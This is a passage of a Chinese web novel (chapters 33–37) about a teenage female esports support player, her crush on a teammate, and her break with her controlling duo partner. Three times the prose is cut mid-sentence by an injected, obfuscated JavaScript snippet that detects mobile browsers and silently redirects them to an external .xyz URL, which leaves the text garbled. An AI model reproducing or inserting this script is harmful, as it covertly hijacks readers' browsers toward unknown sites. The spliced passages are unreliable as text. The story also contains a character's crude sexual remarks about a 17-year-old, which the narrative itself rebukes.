两人无声的保持着三十厘米的距离走出了商场，外面天已经黑了，街道和招牌都亮起了灯，行人们熙熙攘攘，蜜雪冰城前还排起了长队。白天的时候还好，晚上风一吹，两个没带围巾的人都不由自主捂住了脖子。 李君诚依然好奇，边走边看，忽然停住了：“哇，那个炸串摊怎么还挂着香蕉，可以炸吗？怎么炸？我要去吃！” 在餐厅的时候就吃了半碗馄饨两个流水线小蛋糕和几块西瓜，刚出来就要吃……算了算了，手里提着人家送的巨额礼物，还预支了一张饭票。拿人手短，吃人最短，现在自己已经短得不能再短了！就这么随便他好了。 以前没发现男生走路这么好笑，两只手揣着兜，走一步蹦得老高，兔子一样一跳一跳的，眨眼就到了街边的小摊。 可恶！长得高真的好了不起啊… 李君诚兴奋得挑挑选选，又问跟过来的女孩：“你要吗？”得到一个白眼之后嘿嘿一笑，转过去接着指向鱿鱼，“我还要这个。” …… 十五分钟后，李君诚举着装得满满炸物的白色塑料包装盒跟在汤瑶后面。 商场附近有个很新的景观公园，有一个很小的人造湖，湖外种着一圈柳树，冬天都枯了，每隔三五步就有射灯，但是有些坏了，还有很多椅子供人休息，只是没什么行人。 她的头发又多又蓬，在光下有一圈靛蓝色的光泽。 她走得很慢，在摸了摸路过一个灯珠后开口了：“我以前上学的时候很喜欢放学之后跟人来这边，那个时候这里刚刚建好，春天的时候草地里还有小白花，然后柳树的枝条很长，我们会扯下来编成草环戴头上。不过……那个时候我还不会打游戏，所以觉得这种事情很好玩。” “现在听起来也觉得很好玩啊。” “你…算了，你们这种真·城里的少爷可能就是比较喜欢农家乐吧。”汤瑶不认同他的褒奖，换了个换题，“你读书的时候谈过恋爱吗？” 34. 第 34 章 回头一看，一把八几的帅哥正吭哧吭哧咬着油炸里脊，嘴角还有甜辣酱酱汁，正用懵然的眼神看着自己，实在是很难用言语描述的画面。他就像被点名的学生，磨蹭了一会儿才“唔”了声：“我吗？有…应该算有吧。” “就是家里的发小，我俩一起上了幼儿园和小学，然后初中没在一起，我俩就都感觉很舍不得，稀里糊涂就算在一起了吧。后面有天她突然又说她想明白了，她说她对我只是一种认识很久之后的习惯，并不是喜欢，她很在乎我，要我当一辈子好朋友。然后后面我看她□□空间，我才知道她是喜欢上她们学校校草了。呵呵，而且分手前她还把我零花钱骗光了。” “噗哈哈哈哈…咳，虽然你很可怜，但是我问的不是这种恋爱啦。我是说是一个学校里的那种！校园恋爱！” “那没有，我天天打游戏，我那个时候最喜欢的女人应该是猎空。对了，话又说回来，拳头出的那个新游戏就是很像OW，你要不要试试啊，真的还挺好玩的，我可以教……对不起，你接着说。”他根据她的表情推断她可能不想说了，就问，“那你咧，给你编草环的是男朋友吗？” “当然不是了！都是同学！女同学！”汤瑶说起学生时期就很惋惜，伸了个懒腰，坐在了长椅上，“我那时候也老攒钱上网，美瞳都只能买年抛，哪有人追我。” 李君诚也坐下来，翘着二郎腿，继续吃炸香蕉，说话含含糊糊：“没懂。” 她怒瞪他一眼：“你智力有问题啊！这有什么没懂的！” 他很无辜：“你没钱跟没人追有什么关系嘛？” 她不假思索道：“我不化妆打扮哪有人喜欢？我唯一一次和男生牵手，是班上一个丑男非要送我回家，在路上的时候突袭我，他突然特别真挚的拉住我，然后……” “然后告白？他癞蛤蟆想吃天鹅肉？” “然后他让我减肥！” “？？？” “他说他觉得我要瘦了肯定是个美女，所以他愿意陪我减肥！！我草，我都没嫌他又黑又肥又矮还占我便宜，他还敢对我指指点点起来了！我要是瘦了，轮得上他吗？死肥猪，现在想想都觉得生气！”她重重叹气，“为什么别人初恋是帅哥学霸，还男朋友不断，每个都很帅呢。” “谁啊？” “Lady shiva啊，你没看之前她被造黄谣的瓜吗？卧槽，她那个高中男朋友帅得可以原地出道了！” “没看过，不知道。”李君诚吃不下了，随手把手里的包装盒连着剩下的炸串一起扔到了垃圾桶，一边又掏出手机看了眼时间，一边用湿纸巾擦嘴巴，心不在焉的说道，“我是感觉越穷的男人越喜欢对女孩子挑三拣四，而且很多穷b都喜欢瘦子。你的那种同学就算身体没问题这辈子也就这样啦，不用在乎他的话。” 他对有钱人有什么误解吗，谁说有钱人就不喜欢瘦子了！ 他和她坐在椅子的两端，说话的时候他才侧过来向着她，一只胳膊搭载椅背上，“你很漂亮呀，不然张新宇也不会什么事都想喊你一起了。” 汤瑶愤愤的“哦”了声：“他老找我……”她歪着头，“那你呢？这算什么呢？” 他这才发现话说得有点奇怪，随口说：“又不是真嫂子。”想了想，又改口，“不，我的意思是，他又不是亲哥。” 不是真嫂子就足够解释了，怎么还要特地改成不是亲哥呢…… 不知道是有意还是无心，总之汤瑶从他的回答里咂摸出一点不寻常来。现在的时间刚好，气氛也恰到好处，月亮隐隐约约浮在云端后放，公园昏黄的灯光下坐着两个人，实在是太合适上演一些偶像剧情节了。 “那个。”李君诚看了她一会，“你冷吗？要是你没什么想逛的，不如就回去休息了？我送你……”还没等她回答，就继续说，“然后我直接去车站，这样还能再活动结束之前清两管体力。过年了车票可难买，就这一班有商务座了。来的时候我还是站票，腿都给我站麻了，快到的时候才有位置睡了会！” “那你来的时候都是站票，怎么走的时候有商务座？” “肯定是一起买的啊，现在订的话估计得三五天后了。” “……不是哥们，你来回八个小时，真就为了在这儿吃半碗自助餐的馄饨吗？” 他还嘿嘿笑：“修车的事我又插不上手，闲着也是闲着嘛。” “好吧。”汤瑶失去了所有力气和手段，冲他挥了挥手，“那，再见？要我送你吗？” 李君诚不假思索的摇摇头：“那不用。不过…我建议你回去了下载VALORANT，明天我可以带你玩。” 她扯出一个敷衍的笑容：“再说吧，哈哈。” * 想不通，怎么也想不通，汤瑶躺在床上，翻来覆去也想不通。 是自己不够漂亮？不是他喜欢的类型？所以就算独处也只想当朋友吗？可如果是这样的话，他大费周章的过来，随手就送昂贵的礼物又为什么呢？就算几千块对于他的收入来说不算什么，但是四个小时的站票就算换自己也要犹豫半天，他却只是轻描淡写，总不能只是当面让自己去下载那个该死的VALORANT吧？！ 因为心烦意乱，所以游戏也没有心情玩，中途迷迷糊糊睡了过去，醒来发现还是黑天，时间和空间在意识里变得很模糊，胸口的那股郁结还是散不开。 枕头底下的手机突然传来震动，她也不想理，是谁都不重要，就算是Foppish发来的，也活该让他晾着。直到震动越来越频繁，最后变成长震动——来电话了，她这才拨开绕在脸颊的鬓发，傲娇的抽出手机：“我就知道……” 屏幕亮起，她得逞的笑容僵在了嘴角。 不是Foppish，是Shark。 差点忘了，出去玩也跟他说了来着。 她深吸一口气，按下了免提：“喂，怎么了？”将语音挂起，切出去看消息，从头翻到尾也没有想看的人，因为各种群和通知的刷新，Foppish的消息框几乎沉底，低沉的心情让她不需要表演就能让声音很疲倦，“我刚刚睡醒。” 他听起来有点不高兴：“你怎么出去玩就不回我消息，朋友圈也没有发，不是说好了化完妆给我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326040|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？什么时候回来的，怎么睡觉了，我今天一直在担心你。” 也不见得吧。 虽然她确实没回他消息，但不是完全没有看手机，几乎每次打开共同在的群，都能看到女孩们把他艾特来艾特去，虽然他几乎没有说话，但是带着他ID的战绩图更新了好多个不同版本。也是因为知道他有事干，所以她才理直气壮消失的。 “昂，出去玩嘛，肯定就不怎么看手机呀。”汤瑶没有戳穿他，因为她觉得和他并不是需要彼此坦诚的关系，“然后回来太累了，摘了美瞳就睡了。嘻嘻。” “你还笑？” “因为我刚刚醒你就打电话过来了，就……感觉很心有灵犀欸。” 果然，男生就是很吃这一套，Shark的语气软了下来：“哼，这次算了，以后不要这样了。你现在还累吗？要继续睡还是起来玩？” “我不知道，打算就这样躺一会。”汤瑶把两个枕头叠起来，换了个舒服的姿势靠着，然后从相册里找出两张修好还没来得及发朋友圈的自拍发了过去，“呐，先给你看。我都还没想好文案配什么，就还没有发。” “哟！今天这么漂亮？” “什么意思，难道只有今天漂亮吗？” “每天都很漂亮，在基地的时候也很漂亮，不化妆也很漂亮。” “这还差不多。” “还有别的吗？有没有那种……不能发朋友圈，专门拍给我看的那种呢？” 哈哈，这才对了嘛。你和男生可以聊家乡也可以聊梦想，可以在阴雨天的时候依偎着听同一首歌，让他听你的喜怒哀乐，在你哭的时候借你一个肩膀，然后在你差点就要感动的时候用真诚又无辜的语气问：“对了，你的腿白不白？” 肤浅、贪心、低俗、下流，满脑子除了游戏就是黄色才是男生脑子的构造啊。 汤瑶不抗拒在恰当的时候和异性有什么亲密接触，但也不渴望。其实她并不是期盼得到李君诚的拥抱或者亲吻，只是觉得气氛很好，风景很美，如果他趁着那样的氛围吻过来是顺理成章的。她会坦然接受，说不定也很享受，然后再在心里嗤笑：呀，男人果然就是这样的。 结果李君诚什么都没做，这样超出预判的故事走向所带来的失控和不安才是让她不安焦躁的原因。 游戏里，辅助掌控ADC发育和团队节奏。生活中，汤瑶总以揣摩别人，并尽可能的去掌控为乐。一点点的示弱和恰当的表演，就能得到预料之中的结果，这怎么能叫讨好呢？明明是玩弄嘛。 汤瑶反复扒拉着停留在昨天下午的聊天记录，淡淡的说：“啊，那种照片吗？其实随时都可以拍，但是专门给你看的现在还说不好。”又换了个失望的语气，“左航，我还以为你不一样。” “没有没有，我就是随便说说。宝宝，我从来不会随便问人要这些的，我是因为太喜欢你了。” “也许吧。”汤瑶的手已经按在了挂断上，“我要起床了，先……” “我想跟你在一起。”Shark说，“我知道你很需要人陪，我会一直在的。我来找你，好吗？” 35. 第 35 章 傍晚的阳光是橘金色的，周五放课后的教室空空荡荡，汤瑶骂骂咧咧的诅咒着趁她睡觉全都跑光的卫生小组，随意地用脚把课桌椅一个个归位，有垃圾就用扫把随便扒拉两下，没有或者不显眼就略过，就这样转了一圈，正好回到卫生角，扫把一扔，簸箕归位，可以回家了。 她把轻飘飘的书包挂在肩上，走出去的时候发现黑板也没擦，气得大叫了一声，又翻箱倒柜从讲台底下找到了板擦。擦掉了几个科目布置的作业，角落里写着当日迟到违纪的学生名字。 她看着上面的字，忽然有些发楞：“李…君…诚…” 李君诚？ 李君诚…… 好像有点奇怪，可又说不出哪里奇怪。 走廊传来轻快的脚步声，窗户外的人挡住了光线，斜长的影子越来越近，最后来到门口，冲着她吹了个轻快的口哨：“你怎么还没回家？” 男生穿着蓝白相间的校服，有一张青春又张扬的脸。头发两边剃得很平整，只有前额的刘海长出来了一些，很硬朗的一张脸，单眼皮，笑起来的时候卧蚕很明显。只是逆着光，他的样子有些模糊。 “打扫卫生啊。”她把板擦扔回讲台，边走边搓手上的粉笔灰。 “其他人呢？” “不知道啊，走了吧。” 他点点头，若有所思的“哦”了一声。 汤瑶正要背起另一根书包带，男生突然走过来：“汤汤。” 她仰起头，还没来得及答应脸就被捧住了，模糊的脸倏然在眼前放大，唇被重重压住了。他吻得很生疏，又笨又粗鲁的啄着她的唇。双手被牢牢抓住，整个人被压在墙边动弹不能，她晕晕乎乎的，只是反反复复的想着想着刚刚那个称呼。 汤汤。 汤汤…… 吻不知道什么时候结束的，总之她又被他牵了起来，笑眯眯的说：“我们去公园散步好不好？汤汤，汤汤~” 不对，不对不对不对！ 巨大的违和感驱动着汤瑶猛地坐了起来。 她一睁眼，发现已经中午了。前天睡觉的时候没有关窗帘，冬天正午的阳光正通过正对着床的窗口照在脸上，整张脸都被晒得暖洋洋…嗯……应该是晒的吧。 她摸着发烫的脸，脑海里还回放着梦境里的片段，最后难堪得躲回了被窝：“啊啊啊啊啊！！！！！！” 完了，全完了……怎么会这样，怎么会这样啊？！ 汤瑶摸出手机，打开之后还是保存着夜里跟Shark打了快一小时通话记录的聊天界面，她切出去找到元宝，打出了十分悲痛的一句话：我好像喜欢上他了。 不行，这样表达不太准确。 她删掉，重新输入了几个字：我好贱啊。 算了算了，还是别说了，这跟尿床还发朋友圈有什么区别！汤瑶再次清空输入框，决定让这个梦烂在肚子里。 发完消息她又往下翻，结果发现沉底也没有Foppish，心里一慌，慌完又觉得自己很贱，可还没唾弃完，随手一上滑就看到了带着数字红标的熟悉头像，就又松了口气。 虽然只有两条消息，好歹也是发了。 Foppish头像是最近很火的动漫《咒术回战》里的乙骨忧太同人图，标志性的中分加死鱼眼，非常符合大众印象里的AD玩家。 【Foppish】：卧槽，我睡了十三个小时0.0 【Foppish】：[小狗叉腰] …… 哦，所以呢，要夸他很棒吗？ 汤瑶回都懒得回，切出微信打开了B站，在搜索栏果断输入：Foppish被单杀合集。 酣畅淋漓的八分钟集锦，直接看好了她的相思病。 我简直就是天才神医！ ——汤瑶这样想着，爬起来到电脑前，提前下载韩服LOL，然后才去洗漱。刷牙的时候还觉得心有余悸，还好自己对英雄联盟爱得深沉，还好他在英雄联盟不够厉害，不然真不知道要怎么收场。 说到底，还是假期的游戏里强度太低，所以容易胡思乱想。 汤瑶决定从今天起回复在基地的RANK强度，趁着转会期说不定能在赛季结束前上波大分，而且八百分以上还有额外的奖金，简直一举两得。她订好了水果和奶茶，精神抖擞的在电脑前开始了新的征战。 * 【白】：[游戏截图]（韩服ID：Foppish 正在线上） 【白】：卧槽，你被盗号了？ 【L1】：？ 【L1】：无聊，打两把。 【L1】：酒店网太恶心了，网吧又下不了韩服，纯折磨[呕吐][呕吐] 【白】：你是本人吗？ 【L1】：（语音）老子是你爹！ 【白】：o 【白】：你还有天赏石没？草了这次活动死活不出货。 【L1】：好像有剩的 【L1】：晚点给你送 【白】：别晚点了就现在，过会要去陪妹妹截图[可爱] 【白】：别几把打字了来频道啊。 李君诚翻出来Ipad发现没电，所以先用手机挂到了语音频道里说了要等一下。 张新宇表示没问题，在微信又给他唰唰唰发了七八张美女自拍：“漂亮吧~H市的小富婆，现在在新西兰那边留学，声音也好听。新外观你抽了没，要不然过会一起来截图？” “没兴趣啊，过会跟朋友出去吃饭。”他反复按着ipad的开机键试图让充电速度变快，“车先放这边了，明天的机票，今天要早睡早起。” “回家吗？” “嗯嗯，家里住两天。” “行，那明天打瓦，周子鹏也回老家了，就还是欣姐还有她那两个姐妹。好像周子鹏跟我说那个梨子在小群加你你没通过，你看……” “我昨天见你前女友了。” “我草？”张新宇倒吸一口凉气，“林琳什么时候回国的？你他妈……我草，昨天怎么不说！我说你他妈昨天怎么死一天！她不让你通风报信是吧？” “……不是林琳。” “哈？”他的前女友很多，但是两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326041|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都认识的就俩，“那个小的啊？”反应过来之后他“啊”得更大声了，“什么情况？你俩睡了？” “睡你的那个啊！就吃了个饭。” “那说个几把。”张新宇说，“还有你能不能别老在说这种事的时候管她叫我前女友，你片看多了是吧，给哥们当成龟男了啊？” “没。” “哦，我知道你的意思了，没必要，那个时候跟她本来也是打发时间，没什么真感情的。” “你喜欢你上呗——咳咳，这个‘上’也不一定非要是动词。”张新宇非常大方，还贴心教了起来，“我记得她家境不好，挺穷的，这种女孩子最好泡了，随便花点小钱就哭着说从来没有人对她这么好，然后死心塌地的。而且她声音确实好听，唱歌也很好听，不然我也不会经常喊她来。” “……咋了，怎么不说话？” “不是吧兄弟，来真的？” “没有啊，我什么都没说。”李君诚否认了，“就只是顺路吃了个饭，还是她请我。你想太多了。” “哈哈哈我的我的。等下，我掉了，我重新登。”张新宇顿了顿，又说起来，“……我有朋友跟那个Buer认识，Buer说她刚来就跟AD搞上了，感觉她应该是已经跟他们队的AD睡过了。而且没发现她特别喜欢蹭AD吗？现役的退役的，还有LCK的，我老刷到她到处蹭镜头的切片。感觉就是认为二队AD没前途，想上LPL吧。” “你嘴巴能不能不要这么脏，知不知道人家才几岁。” “我知道啊，十七了吧。不是，现在十七已经不小了好吧，那个一起玩的呆呆不也高中吗，懂得比我还多，男朋友都换多少个了。反正这个年纪法律允许了。再说，她就是个中专妹，你知不知道中专女厕所的特产是什么？” “盛产你的嘴吗？” “滚你的。你就是贴吧看少了。算了算了，哥懂了，你现在就是纯嘴硬，已经上头了是吧？你打排位不会是费尽心机想排位撞她吧？不会等加载的时候抱着手机等她回消息吧？哟，李君诚，你也有变舔狗的时候？不过眼光是不是有点差……你怎么下线了，喂？石头给我啊？……服了，怎么频道还退了……不是，草……” 【白】：石头 【L1】：自己去买 【白】：急了？ 【L1】：出门了 88 李君诚确实出门了，不过不是去吃饭，他换了个更远更豪华的网咖，历尽千辛万苦终于下好了韩服，在顶着60PING打了三把之后，终于在新的对局里看到了想要看的ID。 本来游戏就是工作，打排位是分内的事情，如果凑巧在同一局的话，自然就有了共同话题，肯定要比对着手机冥思苦想发什么表情包轻松得多。再说了，这是系统的安排，哪里就费尽心机了？这是缘分好吗！ 他一直按捺着没说话，直到成功进入加载界面，才光明正大的从微信里翻出聊天框，打了个语音过去。 结果屏幕只是闪了一下，系统机械得“嘟”了一声后就自动挂断了—— 【对方忙线中】 36. 第 36 章 “别再打电话了行吗？”汤瑶有点烦了。 不知道是谁的小霸王，卡在加载界面半天也进不去。 她拿起已经凉透的芋泥奶茶喝了一口，尽量让语气好一点，“昨天不是都说得很清楚了吗？你不要再说了，我真的真的不想见你，也不方便。而且我马上游戏开了，要不等我打完再说，行不？” 这把自己先出选了芮尔，对面除了布隆加卢锡安counter，AD最后出了万金油卡莎。本来对线就不好打，前期纯2V2基本上没有胜算，除非对面先失误，需要全神贯注抓timing，哪有功夫跟人闲扯淡啊。 “没关系啊，你先打，打完我们再说。” “那你挂一下。” “我不会打扰你的。” 汤瑶不是不想挂，她是怕挂了他又打过来，那样更吵。队友已经地图标点要入侵野区了，她也没办法，只好就这么放着。 因为打野是豹女，所以比较慷慨的交了闪帮忙拿下一血，给这种强势英雄拿到优势，很好滚雪球。当然，这样的话对线会难受一点。回城的时候她就看到卡莎狂发狐狸哭哭的表情。 哈哈，还挺可爱的。 路人还是选手啊？因为怕影响心态，所以她游戏没有开昵称显示。趁着上线的功夫切出去搜了一下，结果发现是Foppish的时候足足愣了五秒钟，等切回游戏的时候就因为挂机害得他刚抬手就被对面追着打了一轮。 本来就是劣势，还被无伤换血，更雪上加霜的是知道自己没闪的对面打野二级就过来了，虽然没有造成击杀，但是成功逼出卡莎双招。虽然没死，但是迟早要死了。 豹女正常刷完去上路拿到了击杀，从团队的角度来说不错，但从双人组的角度来说非常坏。因为打野的最优做法就是帮优不帮劣，再怎么打信号也不会过来的。于是就开始坐牢，两人对了将近十分钟三人线，加起来死了七次。 其实辅助并不一定只能辅助AD，在对线劣势较大的情况下就应该果断放弃下路去帮队友扩大优势。但……看着聊天框里Foppish主动发出来的：ni zou ba，又有点于心不忍。 本来都跟着中路线走出去了，想了一会儿，又从野区折回了下路。 看了下地图，因为小龙要刷新，对面大概率还是要来下的。所以她也没着急露头，往后藏了藏。因为自家打野果断选择上半区置换资源，加上对面优势比较大，看到卡莎在塔下等着线吃，也就不假思索的要越。 卡莎靠走位躲了布隆的Q，快速清线的同时交加速再次拉扯卢锡安的洗脸大招，汤瑶看准时机在对面英雄抗塔的时候接了个平平无奇W闪R，卡莎再次飞大拉开距离，在塔的配合下迅速打出被动印记，电光火石间拿下两个终结双杀。 还有一个苟延残喘的打野要跑，往前走了两步，突然又退了回去。 “不啊，哥们干啥呢？” 很快系统的断开连接提示给出了答案。 还好，走到高地就显示重新连接了。虽然没能拿下三杀，但经验和经济都补了一大口，挽回劣势完全足够。 [Foppf1ish]：T.T [Foppf1ish]：ka si wo le ……这下不欠你了，别再给我发那个狐狸哭哭的表情了！！ 汤瑶在心里这样说，回城更新装备之后也很尽职尽责的一直跟着他。虽然他老点出自己80来PING的超高延迟，操作倒没什么延迟，打团的操作可圈可点，连续赢了两波团之后基本确定了胜势，她就开始狂亮弱爆。 优势她不会发表情互动，但劣势翻盘就喜欢发。一个是扬眉吐气，一个是精神攻击，对面在高开低走的情况下本来就气势低迷，再发两个表情拱火，能起到很好的干扰作用。 当然了，这种行为一般会被鉴定为没素质，也有可能翻中翻后在被虐泉骂回来。不过这都无所谓，反正她不是那种看到表情会破防的那类人。 对面的韧性很强，中期的时候经济和发育都咬得很紧，队友也先后失误了几次掉了节奏，好在她已经选择了相信AD，所以全程和卡莎绑定，每次团战都是双人组完美兜底。在鏖战了三十多分钟后，终于艰难拿下胜利。 看着结算界面的+18分，她发出大叫：“草啊，才加这么点分！” 本来分高就难打，还越加越少。 她骂完才想起来语音还在，但很快发觉不对，平时自己自言自语，Shark肯定会接。他说会安静，却从来不会真的安静，前期劣势一叹气就会被问怎么了。切出去一看，果然在十几分钟就被挂断。 他发了老板的聊天记录和五排记录，原来又是定时撞车去了。 汤瑶也就没管，接着单排，排队的时候翻了下手机，才发现前面Foppish给自己打了个语音，只是没能打进来。 电脑屏幕还停留着跟他共同赢下的胜利，梦里的场景又历历在目，她抓着手机，不自觉地摸着自己的嘴唇，脸又开始烧得滚烫。 她咬着手指，犹豫着不知道要怎么回应。她觉得和他也没到需要坦诚的地步，还好游戏进去让她有了搁置的借口，进去的时候看了下好友列表，发现Foppish已经黑了。 到底还是没忍住，发了条消息过去。 【姜汁汽水】：怎么下了 【Foppish】：吃饭去0.0 【Foppish】：网吧太卡了 【姜汁汽水】：稀奇 【Foppish】：[小狗疑惑] 【姜汁汽水】：你在网吧还能打LOL，而且还是韩服 【Foppish】：维护 【姜汁汽水】：难怪 【姜汁汽水】：[游戏界面] 【姜汁汽水】：开了 汤瑶手感还不错，一晚上输输赢赢，上了将近七十多分，再次突破600大关，感觉800近在眼前。上分要懂得见好就收，两连跪之后她选择果断下机洗澡。 洗好澡吹好头发，正打算搜个有意思的动漫看看，一拿起手机就发现收到了Shark的消息轰炸。 先是打了好几个电话未接通，接着是一堆没有意义的查岗和询问，最后是一段很长很长的小作文——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326042|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【Shark】：宝宝我知道可能我太黏人占有欲太强让你觉得很窒息很烦了可能做了一些你不喜欢的事情但一切都是因为我太喜欢你了我真的很想跟你在一起这次转会期已经有好几个队伍联系我了然后有个队伍待遇虽然不是最好的但是他们今年大换血 团队和队员都会重新招基地也会重新选我们一起去好不好你说过你想去LPL 我也想和你一起去我真的想和你一直一直打比赛我会尽力跟经理争取的实在不行就签绑定合同本来这些话我想当面和你说可是你不想见我所以只能就这样和你说了如果你想我明天就可以订票来找你或者什么时候都可以只要你想只要你愿意 哦，想起来，他是今年标王来着。 是啊全LDL数据第一的辅助当然可以养出一个六边形AD，加上他形象还算不错，半年就吸了不少粉，比一些LPL垫底队伍的小透明选手还有存在感的多。 汤瑶很擅长忽略那些另自己不快又无力改变的事情，只要强迫自己不去想，过一段时间自然而然就忘记了。她已经很尽力去回避同为双人组待遇却天差地别的这回事了，结果居然还被这么追上来杀。 他不会觉得自己很真诚很感天动地吧？ 汤瑶简直被气笑了—— 这是在干嘛呢哥们？他是这几天猫爬架当多了神经错乱到以为打比赛的时候自己也是个在他身上挂机的最佳第六人吗？什么叫‘帮’自己争取啊？先别说他这个大饼画得就不够圆，就算他真的能‘争取’到，又怎么样呢？自己到难道不值得堂堂正正的进一队吗？他到底在——放什么屁啊！ 还好他是发文字，在语音她当场就要骂得他狗血淋头。 【姜汁汽水】：你是觉得你连正式队员都不是就能遥控战队选人了吗？ 【Shark】：经理还挺喜欢我的 【Shark】：而且绑定签约挺正常的，只要我说他们肯定会考虑的 【姜汁汽水】：我不懂，是我不配上一队吗？为什么非要你帮我说？我还要谢谢你吗？ 【Shark】：没有说你不配啊宝宝，你很厉害 【Shark】：只是LPL队伍肯定比赛强度更高教练也更专业他们肯定要比你更有经验但是只要给你时间我觉得你肯定能比他们好 笑死了，LPL 17个队伍能有名有姓的辅助一只手都数得过来。 别人说这样的话就算了，明明他和自己并肩作战，彼此是最亲密的队友，他怎么能这样高高在上的跟自己说话？自己没人选是因为不够强吗？如果自己两腿之间也有根东西，今年的标王是谁还说不定呢。他怎么说得好像自己是技不如人才无人问津的一样？ 哈哈，汤瑶总算反应过来了。 所以其实Shark对自己说得每句夸奖都不是真心的，一切都只是因为自己是个还算漂亮的女生而已，他甚至没有把自己当过普通选手，遑论什么的客观评价了——多么高傲，多么丑陋，多么恶心。 【姜汁汽水】：嗯嗯，祝你前程似锦 【Shark】：…… 【Shark】：我知道你的意思了。 37. 第 37 章 这世界是有能量守恒定律的，付出多少就会得到多少。仅仅连过几次语音，在无聊的时候一起打游戏，像这样随便和谁都能做到的事情本来就很廉价，所以从头到尾都没有真心也很正常。只是对方一个有着相当水平的高玩，居然对她的游戏水平没有准确认知，实在是太令人匪夷所思！ 算了，既然很快就不是队友了，没必要计较，汤瑶是不会为这种浪费精力的。也许Shark的能力是很不错，但毫不夸张的说，随便给她一个够得上平均水平的AD，只要听话，照样还能是LDL第一。 他不会觉得自己去到了一级联赛还会有比自己更好的辅助和比现在更好的资源倾斜吧？能不能上场都还是个迷呢。切，做什么青天白日梦。还……帮~你~争~取~ 即便深知男人荒唐，但他们总是能一次次刷新汤瑶认知下限的事情。 槽多无口，简直槽多无口。 但汤瑶只能跟元宝说，对外不能有任何回应，连带着她本来就不太多的粉丝群也退了不少人，就算留下来的部分有人选择支持，但沉默的才是大多数。潜水的人在想什么，谁也不知道。 看多了网络上各种勾心斗角，这点警觉她还是有的。 何况汤瑶本来也不想跟Shark炒什么CP，因为男辅助是辅助，所以转会是人见人爱的交际花，绑定AD就是浪漫专一的钟情忠犬。然而女辅助只是个女的，所以有数不清的道德枷锁和审判。 私底聊聊玩玩就是，她才不要和这些AD们上台面呢。一个优秀的辅助怎么可能在一个AD上吊死？ 看着粉丝群里的安慰和对另一方的咒骂，汤瑶虽然不完全认同，但很喜欢这种被关心的感觉。在各种脏话攻击和独美宣言中，她收到了一条与众不同的艾特。 喜欢周六：@Ginger 姜姜宝宝，我是J牌美妆的公关部，最近我们公司正要推一系列新的唇釉产品，这边让我们联系各种有影响的网红或者公众人物做合作。我觉得大家说得都很对，女孩子最重要的是自己的事业和前途，我很喜欢和很欣赏你，虽然你现在年纪还不够上场，但是我相信你是会发光的金子，趁着代言费还没有太天价，来和我J牌合作一下吧~ 一石激起千层浪，字多肯定引来各种捧场和惊呼。也有的人提出担忧，问选手是不是不可以随便接广告。回答也非常专业且令人安心，说是这是大预算的商业合作，当然是合法合规的和俱乐部合作。 这才是真的大饼！！能吃饱的大饼！！ 汤瑶亮眼放光，发了好几个可爱的表情包，并且在对方提出私聊之后立刻主动添加了对方。她还没来得及打字卖个乖，那边已经把各种资料和PPT发了过来。 她其实不懂，但不好意思说，就硬着头皮点进去逐字阅读。 J牌是平价国货美化品牌，早年靠着廉价在学生党中打开了市场，这几年也开始往高端了走，她现在还用着这牌子的单色腮红呢，新品好不好用不知道，价格倒是翻了好几番。不论如何，也是个很了不起的IP了。 她刚刚两个产品介绍，结果不断的跳出粉丝群的艾特打扰，搞得她不得不切出去看。结果就这么几分钟，刚刚还一片叫好的气氛就变了。她莫名其妙，往上刷了刷，很快看见了源头。 阿鬣：@喜欢周六不好意思，我请问美妆产品跟电竞选手有什么关系吗？本来电竞女选手就是在对抗男权的先锋战士，存在是为了打破人们的刻板印象。结果姜姜还没有上场，就要搞这些……我不想把话说得很难听，但是你这个提议也许是好心，可是会给人一种女选手就要化妆的不良引导啊，你不知道化妆品这种东西本身就是物化女性吗？ 阿鬣：Lady shiva都因为拍宣传照的时候因为衣服布料不够多跟摄影师吵架，我们就算赶不上人家，也不能这么自由落体吧？ 在互联网，只要字写得多就有人不思考得听从，绝大多数的人都是墙头草，被各种不同的思潮冲来冲去。既然有人吹响了冲锋的号角，说话的立刻换了一片人，一个接一个的出来反对 这个举双手双脚不赞同，那个说确实有道理，还有人说出了也绝对不会买。 ……不是，挣钱啊！挣钱有什么寒碜？！ 汤瑶是个十足财迷，被断财路本来就有点不爽，又看到她拿Lady shiva跟自己对比，那股不适感就更重了。 喜欢周六：@阿鬣 [可爱][可爱]妹妹不要生气，你的观点也很有道理，但我也只是想基于自己的能力给姜姜一点帮助。可能你们还在上学，对我这种打工族来说其实生存才是第一位，有些东西……可能没那么好追求。 